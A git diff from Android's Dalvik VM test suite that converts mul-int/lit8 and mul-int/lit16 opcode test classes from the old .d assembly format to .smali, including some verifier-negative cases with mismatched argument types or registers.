diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_7.smali
new file mode 100644
index 0000000..8645074
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_7.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit16_7.java"
+.class  public Ldot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 9
+
+       mul-int/lit16 v0, v9, 3276
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_8.d
deleted file mode 100644
index 288f649..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_8.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_lit16_8.java
-.class public dot.junit.opcodes.mul_int_lit16.d.T_mul_int_lit16_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 9
-
-       mul-int/lit16 v0, v7, 4321
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_8.smali
new file mode 100644
index 0000000..8e840f6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_8.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit16_8.java"
+.class  public Ldot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 9
+
+       mul-int/lit16 v0, v7, 4321
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_9.d
deleted file mode 100644
index e8d0737..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_9.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_lit16_9.java
-.class public dot.junit.opcodes.mul_int_lit16.d.T_mul_int_lit16_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 9
-
-       mul-int/lit16 v0, v7, 4321
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_9.smali
new file mode 100644
index 0000000..38581e05
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_9.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit16_9.java"
+.class  public Ldot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 9
+
+       mul-int/lit16 v0, v7, 4321
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_1.d
deleted file mode 100644
index 8aebfd4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_lit8_1.java
-.class public dot.junit.opcodes.mul_int_lit8.d.T_mul_int_lit8_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 9
-
-       mul-int/lit8 v0, v8, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_1.smali
new file mode 100644
index 0000000..c871632
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit8_1.java"
+.class  public Ldot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 9
+
+       mul-int/lit8 v0, v8, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_10.d
deleted file mode 100644
index 716726e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_10.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_lit8_10.java
-.class public dot.junit.opcodes.mul_int_lit8.d.T_mul_int_lit8_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 9
-
-       mul-int/lit8 v0, v7, 111
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_10.smali
new file mode 100644
index 0000000..f1f6311
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_10.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit8_10.java"
+.class  public Ldot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 9
+
+       mul-int/lit8 v0, v7, 111
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_2.d
deleted file mode 100644
index c4d9174..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_lit8_2.java
-.class public dot.junit.opcodes.mul_int_lit8.d.T_mul_int_lit8_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 9
-
-       mul-int/lit8 v0, v8, -15
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_2.smali
new file mode 100644
index 0000000..c1148da
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit8_2.java"
+.class  public Ldot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 9
+
+       mul-int/lit8 v0, v8, -15
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_3.d
deleted file mode 100644
index fc70d45..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_lit8_3.java
-.class public dot.junit.opcodes.mul_int_lit8.d.T_mul_int_lit8_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 9
-
-       mul-int/lit8 v0, v8, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_3.smali
new file mode 100644
index 0000000..b589803
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit8_3.java"
+.class  public Ldot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 9
+
+       mul-int/lit8 v0, v8, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_4.d
deleted file mode 100644
index a9cf5e7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_lit8_4.java
-.class public dot.junit.opcodes.mul_int_lit8.d.T_mul_int_lit8_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 9
-
-       mul-int/lit8 v0, v8, 0
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_4.smali
new file mode 100644
index 0000000..494d210
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit8_4.java"
+.class  public Ldot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 9
+
+       mul-int/lit8 v0, v8, 0
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_5.d
deleted file mode 100644
index 1e08af2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_lit8_5.java
-.class public dot.junit.opcodes.mul_int_lit8.d.T_mul_int_lit8_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 9
-
-       mul-int/lit8 v0, v8, 1
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_5.smali
new file mode 100644
index 0000000..a7db0e0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit8_5.java"
+.class  public Ldot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 9
+
+       mul-int/lit8 v0, v8, 1
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_6.d
deleted file mode 100644
index bfcfcc2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_lit8_6.java
-.class public dot.junit.opcodes.mul_int_lit8.d.T_mul_int_lit8_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 9
-
-       mul-int/lit8 v0, v8, 127
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_6.smali
new file mode 100644
index 0000000..29cbb9d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit8_6.java"
+.class  public Ldot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 9
+
+       mul-int/lit8 v0, v8, 127
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_7.d
deleted file mode 100644
index fe88ffb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_7.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_lit8_7.java
-.class public dot.junit.opcodes.mul_int_lit8.d.T_mul_int_lit8_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 9
-
-       mul-int/lit8 v0, v9, 12
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_7.smali
new file mode 100644
index 0000000..90046be
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_7.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit8_7.java"
+.class  public Ldot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 9
+
+       mul-int/lit8 v0, v9, 12
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_8.d
deleted file mode 100644
index fc6ec8a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_8.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_lit8_8.java
-.class public dot.junit.opcodes.mul_int_lit8.d.T_mul_int_lit8_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 9
-
-       mul-int/lit8 v0, v7, 123
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_8.smali
new file mode 100644
index 0000000..2290b09
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_8.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit8_8.java"
+.class  public Ldot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 9
+
+       mul-int/lit8 v0, v7, 123
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_9.d
deleted file mode 100644
index 943b9ee..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_9.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
